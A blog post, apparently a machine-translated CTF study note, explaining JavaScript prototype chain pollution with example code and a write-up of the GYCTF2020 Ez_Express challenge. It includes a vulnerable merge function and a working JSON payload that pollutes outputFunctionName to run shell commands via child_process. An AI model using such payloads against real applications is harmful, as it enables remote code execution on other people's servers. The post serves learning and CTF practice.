Zero to zero prototype chain pollution (JavaScript)

Posted by cooldude832 on Sat, 05 Feb 2022 19:11:52 +0100

preface

I've met many test questions of prototype chain knowledge points, and I've been hammered every time. I don't want to think about it next time...

JavaScript prototype

Classes in javascript use classes in java and php to define classes, but methods defined by functions.

JavaScript is often described as a prototype based language - each object has a prototype object, which takes its prototype as a template and inherits methods and properties from the prototype. Prototype objects may also own prototypes and inherit methods and properties from them, layer by layer, and so on. This relationship is often called prototype chain.

var person=new Person('lyc',30,'male');
console.log(person);

Specific prototype chain structure diagram

Remember

person.__proto__=Person.prototype

To sum up:

  1. Prototype is the attribute of a class. All class objects will have the attributes and methods in prototype when instantiated
  2. Of an object__ proto__ Property, pointing to the prototype property of the class where the object is located

JavaScript prototype chain inheritance

Because JavaScript does not have the concept of Class in Java, inheritance is implemented by the prototype chain.

All class objects will have properties and methods in prototype when instantiated. This feature is used to implement the inheritance mechanism in JavaScript.

For example:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

The Son class inherits the last of the Father class_ Name attribute. The last output is Name: Melania Trump.

To sum up, for the object son, call son last_ Name, the JavaScript engine will actually perform the following operations:

  1. Find last in object_ name
  2. If it cannot be found, then in son__ proto__ Find last in_ name
  3. If you still can't find it, continue at son__ proto__.__ proto__ Find last in_ name
  4. Search in turn until null is found. For example, object Prototype__ proto__ Is null

This search mechanism of JavaScript is used in object-oriented inheritance, which is called prototype inheritance chain.

The above is the most basic JavaScript object-oriented programming. We don't go into more details, just keep the following points in mind:

  1. Each constructor has a prototype object
  2. Object__ proto__ Property that points to the prototype object prototype of the class
  3. JavaScript uses prototype chain to implement inheritance mechanism

such as

function Teacher(name,age,gender,subject){
	Person.call(this,name);
	Person.call(this,age);
	Person.call(this,gender);
	this.subject=subject;
}
Teacher.prototype=new Person();
console.log(Teacher.prototype);

As you can see, teacher The proto attribute of prototype is person Prototype, the prototype chain also has "one more layer".

Prototype chain pollution

In the first chapter, Foo__ proto__ It points to the prototype of the Foo class. So, if we modify Foo__ proto__ Is it possible to modify the Foo class?

Do a simple experiment:

// foo is a simple JavaScript object
let foo = {bar: 1}

// foo.bar is now 1
console.log(foo.bar)

// Modify the prototype of foo (i.e. Object)
foo.__proto__.bar = 2

// Due to the search order, foo Bar is still 1
console.log(foo.bar)

// Then create an empty zoo Object with Object
let zoo = {}

// View zoo bar
console.log(zoo.bar)

Finally, although zoo is an empty object {}, zoo The result of bar is actually 2:

Then, in an application, if an attacker controls and modifies the prototype of an object, it will affect all objects from the same class and ancestor class as the object. This attack method is prototype chain pollution.

Under what circumstances will the prototype chain be contaminated

In practical application, under what circumstances may the prototype chain be modified by the attacker?

Let's think about what situations we can set__ proto__ What's the value? In fact, you can find the operation that can control the "key name" of the array (object):

  • Object merge
  • Object clone (in fact, the kernel is to merge the object to be operated into an empty object)

If there is a merge operation:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

The key value is not filtered here. If the key is__ proto__, Then the prototype chain pollution can be carried out.

It should be noted here that it should cooperate with JSON Parse enables us to enter__ proto__ It is parsed into a key name. In the case of JSON parsing__ proto__ It will be regarded as a real "key name" and not a "prototype", otherwise it will only be regarded as the "prototype" of the current object without upward influence,

merge operation is the most common operation that may control the key name, and it can also be attacked by the prototype chain. This problem exists in many common libraries.

For example:

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}           //Directly return the corresponding value
>console.log({}.b)
<undefined        //The prototype was not contaminated
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2                //The prototype was successfully contaminated

Example [GYCTF2020]Ez_Express

  • Knowledge points

    • js prototype pollution chain
    • toUpperCase() bypass
  • Users with admin cannot be registered through regular

    • Bypass by toUpperCase()
    • Pollution with clone
unction safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

Find the location of clone() in the route of / action. You need to log in to admin

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

  • Find pollution points, info page
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
among outputFunctionName Undeclared, available

You can see that under / info, the outputFunctionName is rendered into the index using, and the outputFunctionName is undefined

res.outputFunctionName=undefined;

That is, SSTI can be performed by polluting outputFunctionName

So grab the package of / action, set the content type to application/json, and call clone to realize pollution

  • payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
  • Then visit / info to download flag

Example [WANGDING cup 2020 Qinglong group]

http://chaosec.top/2020/09/24/buuctf3/

Example: an Xun cup 2020 Validator

https://writeup.ctfhub.com/Challenge/2020/ Anxun cup / Web / 9svhgs6pfkebnetx4xaz6r html

https://xz.aliyun.com/t/8581

reference resources https://www.freebuf.com/articles/web/275619.html

https://blog.happysec.cn/index/view/328.html

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

https://blog.csdn.net/qq_45691294/article/details/109320437?

Topics: Web Security